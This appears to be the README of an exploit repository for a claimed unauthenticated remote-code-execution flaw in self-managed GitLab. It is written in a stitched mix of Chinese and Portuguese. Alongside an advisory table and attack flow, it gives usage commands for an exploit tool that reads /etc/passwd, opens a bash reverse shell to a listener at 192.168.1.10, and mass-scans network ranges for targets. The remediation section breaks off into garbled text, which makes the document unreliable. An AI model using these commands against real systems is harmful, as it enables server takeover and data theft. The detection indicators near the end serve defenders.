CVE-2026-110264 - GitLab CE/EE 正则整数溢出未认证 RCE | CVSS 10.0 | 作者 Gh0st-Bx1
法律声明: 本仓库仅为教育和安全研究目的而创建。 未经事先明确书面授权而对系统使用这些工具是非法的。 作者不对本材料的滥用承担责任。
| 字段 | 详情 |
|---|---|
| CVE | CVE-2026-110264 |
| 别名 | GitLab-Ghost |
| 类型 | 正则表达式编译器中的整数溢出(CWE-190) |
| CVSS | 10.0 严重(AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| 组件 | GitLab Org-mode 渲染器 - Ruby 正则表达式编译器引擎 |
| 攻击向量 | /api/v4/markdown(匿名)/ 上传 README.org(已认证) |
| 认证 | 不需要(未认证) |
| 影响 | GitLab CE/EE >= 7.0,自管理版本,< 修复版本 |
| 已修复 | 19.5.1、19.4.3、19.3.6、19.2.9、19.1.9、19.0.10、18.11.13 |
| 披露日期 | 2026 年 10 月 21 日(7 个分支同步发布补丁) |
GitLab 的正则表达式编译器在处理 Org-mode 文件(.org)中的 #+TODO: 指令时,存在 整数溢出 问题。当一系列备选项超出 Ruby 正则表达式编译器内部 ID 类型的限制时,就会发生溢出,从而允许在 GitLab 服务器上 无需认证 执行远程代码。
该漏洞影响自 7.0 版本(约 12 年的发布历史)以来的 GitLab 自管理社区版和企业版。GitLab.com 已自动修复。
1. Atacante envia arquivo .org com diretiva #+TODO: contendo 500+ estados alternados
2. GitLab chama o renderer Org-mode ao exibir o arquivo no repositorio
3. O parser cria uma regex para colorir keywords dos estados #+TODO
4. O compilador Ruby regex aloca IDs internos por estado; ao superar ~500,
o counter interno (tipo fixo) sofre overflow
5. Overflow corrompe estruturas internas do compilador -> execucao de codigo
6. Codigo executa com as permissoes do processo git/gitlab
匿名向量(无身份验证):
Atacante --> [POST /api/v4/markdown] {"text": "<org_payload>"}
|
GitLab processa conteudo ORG sem autenticar
|
Org-mode renderer -> regex compiler -> overflow -> RCE
已认证向量(免费账户):
Atacante (conta free) --> cria projeto --> upload README.org
|
GitLab renderiza ao navegar no projeto
|
Mesmo overflow -> RCE como processo servidor
| 分支 | 易受攻击版本 | 修复版本 |
|---|---|---|
| 19.5.x | < 19.5.1 | 19.5.1 |
| 19.4.x | < 19.4.3 | 19.4.3 |
| 19.3.x | < 19.3.6 | 19.3.6 |
| 19.2.x | < 19.2.9 | 19.2.9 |
| 19.1.x | < 19.1.9 | 19.1.9 |
| 19.0.x | < 19.0.10 | 19.0.10 |
| 18.11.x | < 18.11.13 | 18.11.13 |
| < 18.11 | 全部(EOL) | 升级 GitLab |
GitLab.com: 已自动修复。仅自管理实例受影响。
cve-2026-110264/
poc.py Verifica versao e envia payload Org-mode via /api/v4/markdown
exploit.py Exploit completo: fingerprint, reverse shell, scan em massa
README.md Este arquivo
python poc.py --url http://gitlab.empresa.com --check
python poc.py --url http://gitlab.empresa.com --cmd "id"
python poc.py --url http://gitlab.empresa.com --token glpat-xxxx --cmd "cat /etc/passwd"
python exploit.py --url http://gitlab.empresa.com --token glpat-xxxx --cmd "id; whoami; hostname"
# Terminal 1 (listener integrado):
python exploit.py --url http://gitlab.empresa.com --token glpat-xxxx \
--reverse-shell --lhost 192.168.1.10 --lport 4444
# Manual com nc:
nc -lvnp 4444
python exploit.py --url http://gitlab.empresa.com --token glpat-xxxx \
--cmd "bash -i >& /dev/tcp/192.168.1.10/4444 0>&1"
# Scan de CIDR
python exploit.py --scan 10.0.0.0/24 --scan-port 80
# Scan de arquivo + explorar vulneraveis
python exploit.py --scan alvos.txt --token glpat-xxxx --cmd "id"
# Aumentar profundidade de overflow (alvos mais resistentes)
python exploit.py --url http://gitlab.empresa.com --token glpat-xxxx \
--depth 1000 --cmd "id"
--url URL do GitLab (ex: http://gitlab.empresa.com)
--cmd Comando a executar (default: id)
--token Personal Access Token (opcional, mais confiavel)
--check Apenas verifica versao e vulnerabilidade
--silent Suprime o banner
--url URL do GitLab alvo
--scan CIDR, range ou arquivo para scan
--scan-port Porta HTTP para scan (default: 80)
--token PRIVATE-TOKEN GitLab
--cmd Comando a executar
--reverse-shell Lanca reverse shell com listener integrado
--lhost IP para receber conexao
--lport Porta para reverse shell (default: 4444)
--depth Estados de overflow (default: 650, max recomendado: 1000)
--check Apenas fingerprint de versao
--threads Threads para scan (default: 30)
--silent Suprime o banner
| 指标 | 描述 |
|---|---|
向 /api/v4/markdown 发送 POST 请求 | 匿名利用尝试 |
上传 .org 且 #+TODO: 过长 | 状态溢出载荷 |
| ruby/gitlab 进程出现异常调用 | Worker 已被入侵 |
| GitLab 服务器出现异常出站连接 | 反向 shell 处于活动状态 |
修复措施:
#+TODO: 请求作者 Gh0st-Bx1 | https://github.com/Ghost-Bx1